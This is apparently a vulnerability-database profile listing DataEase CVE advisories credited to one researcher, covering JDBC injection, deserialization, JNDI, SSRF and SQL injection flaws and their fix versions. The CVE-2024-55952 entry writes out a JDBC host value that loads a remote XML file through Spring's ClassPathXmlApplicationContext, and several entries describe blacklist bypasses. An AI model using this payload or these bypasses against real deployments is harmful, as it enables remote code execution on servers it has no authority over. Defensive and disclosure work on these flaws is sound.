taojinlong

19 exploits Active since Oct 2022
CVE-2024-23328 WRITEUP CRITICAL WRITEUP
Dataease < 1.18.15 - Deserialization of Untrusted Data in MySQL Datasource
Dataease is an open source data visualization analysis tool. A deserialization vulnerability exists in the DataEase datasource, which can be exploited to execute arbitrary code. The location of the vulnerability code is `core/core-backend/src/main/java/io/dataease/datasource/type/Mysql.java.` The blacklist of mysql jdbc attacks can be bypassed and attackers can further exploit it for deserialized execution or reading arbitrary files. This vulnerability is patched in 1.18.15 and 2.3.0.
CVSS 9.1
CVE-2026-32939 WRITEUP HIGH WRITEUP
DataEase is Vulnerable to H2 JDBC RCE Bypass
DataEase is an open source data visualization analysis tool. Versions 2.10.19 and below have inconsistent Locale handling between the JDBC URL validation logic and the H2 JDBC engine's internal parsing. DataEase uses String.toUpperCase() without specifying an explicit Locale, causing its security checks to rely on the JVM's default runtime locale, while H2 JDBC always normalizes URLs using Locale.ENGLISH. In Turkish locale environments (tr_TR), Java converts the lowercase letter i to İ (dotted capital I) instead of the standard I, so a malicious parameter like iNIT becomes İNIT in DataEase's filter (bypassing its blacklist) while H2 still correctly interprets it as INIT. This discrepancy allows attackers to smuggle dangerous JDBC parameters past DataEase's security validation, and the issue has been confirmed as exploitable in real DataEase deployment scenarios running under affected regional settings. The issue has been fixed in version 2.10.20.
CVSS 8.1
CVE-2022-39312 WRITEUP CRITICAL WRITEUP
Dataease < 1.15.2 - Remote Code Execution via Mysql JDBC Deserialization
Dataease is an open source data visualization analysis tool. Dataease prior to 1.15.2 has a deserialization vulnerability. In Dataease, the Mysql data source in the data source function can customize the JDBC connection parameters and the Mysql server target to be connected. In `backend/src/main/java/io/dataease/provider/datasource/JdbcProvider.java`, the `MysqlConfiguration` class does not filter any parameters. If an attacker adds some parameters to a JDBC url and connects to a malicious mysql server, the attacker can trigger the mysql jdbc deserialization vulnerability. Through the deserialization vulnerability, the attacker can execute system commands and obtain server privileges. Version 1.15.2 contains a patch for this issue.
CVSS 9.8
CVE-2024-23328 WRITEUP CRITICAL WRITEUP
Dataease < 1.18.15 - Deserialization of Untrusted Data in MySQL Datasource
Dataease is an open source data visualization analysis tool. A deserialization vulnerability exists in the DataEase datasource, which can be exploited to execute arbitrary code. The location of the vulnerability code is `core/core-backend/src/main/java/io/dataease/datasource/type/Mysql.java.` The blacklist of mysql jdbc attacks can be bypassed and attackers can further exploit it for deserialized execution or reading arbitrary files. This vulnerability is patched in 1.18.15 and 2.3.0.
CVSS 9.1
CVE-2024-47074 WRITEUP CRITICAL WRITEUP
DataEase < 1.18.25 - Remote Code Execution via PostgreSQL JDBC Deserialization
DataEase is an open source data visualization analysis tool. In Dataease, the PostgreSQL data source in the data source function can customize the JDBC connection parameters and the PG server target to be connected. In backend/src/main/java/io/dataease/provider/datasource/JdbcProvider.java, PgConfiguration class don't filter any parameters, directly concat user input. So, if the attacker adds some parameters in JDBC url, and connect to evil PG server, the attacker can trigger the PG jdbc deserialization vulnerability, and eventually the attacker can execute through the deserialization vulnerability system commands and obtain server privileges. The vulnerability has been fixed in v1.18.25.
CVSS 9.8
CVE-2024-55952 WRITEUP HIGH WRITEUP
DataEase < 1.18.27 - Authenticated Remote Code Execution via JDBC Connection String Injection
DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.
CVSS 8.8
CVE-2024-55953 WRITEUP HIGH WRITEUP
DataEase < 1.18.27 - Authenticated SQL Injection via JDBC Connection String
DataEase is an open source business analytics tool. Authenticated users can read and deserialize arbitrary files through the background JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. This vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.
CVSS 8.1
CVE-2025-48999 WRITEUP HIGH WRITEUP
DataEase < 2.10.10 - Improper Access Control via JDBC Statement Manipulation
DataEase is an open source business intelligence and data visualization tool. A bypass of CVE-2025-46566's patch exists in versions prior to 2.10.10. In a malicious payload, `getUrlType()` retrieves `hostName`. Since the judgment statement returns false, it will not enter the if statement and will not be filtered. The payload can be directly concatenated at the replace location to construct a malicious JDBC statement. Version 2.10.10 contains a patch for the issue.
CVSS 8.8
CVE-2025-57772 WRITEUP CRITICAL WRITEUP
DataEase < 2.10.12 - Remote Code Execution via H2 JDBC URL Bypass
DataEase is an open source business intelligence and data visualization tool. Prior to version 2.10.12, there is a H2 JDBC RCE bypass in DataEase. If the JDBC URL meets criteria, the getJdbcUrl method is returned, which acts as the getter for the JdbcUrl parameter provided. This bypasses H2's filtering logic and returns the H2 JDBC URL, allowing the "driver":"org.h2.Driver" to specify the H2 driver for the JDBC connection. The vulnerability has been fixed in version 2.10.12.
CVSS 9.8
CVE-2025-57773 WRITEUP CRITICAL WRITEUP
DataEase < 2.10.12 - Deserialization of Untrusted Data via JNDI Injection
DataEase is an open source business intelligence and data visualization tool. Prior to version 2.10.12, because DB2 parameters are not filtered, a JNDI injection attack can be directly launched. JNDI triggers an AspectJWeaver deserialization attack, writing to various files. This vulnerability requires commons-collections 4.x and aspectjweaver-1.9.22.jar. The vulnerability has been fixed in version 2.10.12.
CVSS 9.8
CVE-2025-58045 WRITEUP CRITICAL WRITEUP
Dataease < 2.10.13 - Server-Side Request Forgery via DB2 JDBC LDAP Parameter
Dataease is an open source data analytics and visualization platform. In Dataease versions up to 2.10.12, the patch introduced to mitigate DB2 JDBC deserialization remote code execution attacks only blacklisted the rmi parameter. The ldap parameter in the DB2 JDBC connection string was not filtered, allowing attackers to exploit the DB2 JDBC connection string to trigger server-side request forgery (SSRF). In higher versions of Java, ldap deserialization (autoDeserialize) is disabled by default, preventing remote code execution, but SSRF remains exploitable. Versions up to 2.10.12 are affected. The issue is fixed in version 2.10.13. Updating to 2.10.13 or later is recommended. No known workarounds are documented aside from upgrading.
CVSS 9.8
CVE-2025-58046 WRITEUP CRITICAL WRITEUP
Dataease <= 2.10.12 - Remote Code Execution via Impala JDBC Connection String JNDI Injection
Dataease is an open-source data visualization and analysis platform. In versions up to and including 2.10.12, the Impala data source is vulnerable to remote code execution due to insufficient filtering in the getJdbc method of the io.dataease.datasource.type.Impala class. Attackers can construct malicious JDBC connection strings that exploit JNDI injection and trigger RMI deserialization, ultimately enabling remote command execution. The vulnerability can be exploited by editing the data source and providing a crafted JDBC connection string that references a remote configuration file, leading to RMI-based deserialization attacks. This issue has been patched in version 2.10.13. It is recommended to upgrade to the latest version. No known workarounds exist for affected versions.
CVSS 9.8
CVE-2025-58748 WRITEUP CRITICAL WRITEUP
Dataease < 2.10.13 - Remote Code Execution via H2 JDBC URL Deserialization
Dataease is an open source data analytics and visualization platform. In Dataease versions up to 2.10.12 the H2 data source implementation (H2.java) does not verify that a provided JDBC URL starts with jdbc:h2. This lack of validation allows a crafted JDBC configuration that substitutes the Amazon Redshift driver and leverages the socketFactory and socketFactoryArg parameters to invoke org.springframework.context.support.FileSystemXmlApplicationContext or ClassPathXmlApplicationContext with an attacker‑controlled remote XML resource, resulting in remote code execution. Versions up to and including 2.10.12 are affected. The issue is fixed in version 2.10.13. Updating to version 2.10.13 or later is the recommended remediation. No known workarounds exist.
CVSS 9.8
CVE-2025-62419 WRITEUP HIGH WRITEUP
DataEase < 2.10.14 - JDBC URL Injection via DB2 and MongoDB Data Source Configuration
DataEase is a data visualization and analytics platform. In DataEase versions through 2.10.13, a JDBC URL injection vulnerability exists in the DB2 and MongoDB data source configuration handlers. In the DB2 data source handler, when the extraParams field is empty, the HOSTNAME, PORT, and DATABASE values are directly concatenated into the JDBC URL without filtering illegal parameters. This allows an attacker to inject a malicious JDBC string into the HOSTNAME field to bypass previously patched vulnerabilities CVE-2025-57773 and CVE-2025-58045. The vulnerability is fixed in version 2.10.14. No known workarounds exist.
CVSS 7.5
CVE-2025-62420 WRITEUP HIGH WRITEUP
DataEase < 2.10.14 - Authenticated Remote Code Execution via H2 JDBC Driver Bypass
DataEase is a data visualization and analytics platform. In DataEase versions through 2.10.13, a JDBC driver bypass vulnerability exists in the H2 database connection handler. The getJdbc function in H2.java checks if the jdbcUrl starts with jdbc:h2 but returns a separate jdbc field as the actual connection URL. An attacker can provide a jdbcUrl that starts with jdbc:h2 while supplying a different jdbc field with an arbitrary JDBC driver and connection string. This allows an authenticated attacker to trigger arbitrary JDBC connections with malicious drivers, potentially leading to remote code execution. The vulnerability is fixed in version 2.10.14. No known workarounds exist.
CVSS 8.8
CVE-2025-62422 WRITEUP HIGH WRITEUP
DataEase < 2.10.14 - SQL Injection via tableName Parameter
DataEase is an open source data visualization and analytics platform. In versions 2.10.13 and earlier, the /de2api/datasetData/tableField interface is vulnerable to SQL injection. An attacker can construct a malicious tableName parameter to execute arbitrary SQL commands. This issue is fixed in version 2.10.14. No known workarounds exist.
CVSS 8.8
CVE-2025-64163 WRITEUP CRITICAL WRITEUP
dataease < 2.10.15 - Server-Side Request Forgery via DNS Protocol
DataEase is an open source data visualization analysis tool. In versions 2.10.14 and below, the vendor added a blacklist to filter ldap:// and ldaps://. However, omission of protection for the dns:// protocol results in an SSRF vulnerability. This issue is fixed in version 2.10.15.
CVSS 9.8
CVE-2025-64164 WRITEUP CRITICAL WRITEUP
Dataease < 2.10.15 - JNDI Injection via JDBC Connection
Dataease is an open source data visualization analysis tool. In versions 2.10.14 and below, DataEase did not properly filter when establishing JDBC connections to Oracle, resulting in a risk of JNDI injection (Java Naming and Directory Interface injection). This issue is fixed in version 2.10.15.
CVSS 9.8
CVE-2025-64428 WRITEUP CRITICAL WRITEUP
Dataease < 2.10.17 - JNDI Injection via iiop, corbaname, and iiopname Schemes
Dataease is an open source data visualization analysis tool. Versions prior to 2.10.17 are vulnerable to JNDI injection. A blacklist was added in the patch for version 2.10.14. However, JNDI injection remains possible via the iiop, corbaname, and iiopname schemes. The vulnerability has been fixed in version 2.10.17.
CVSS 9.8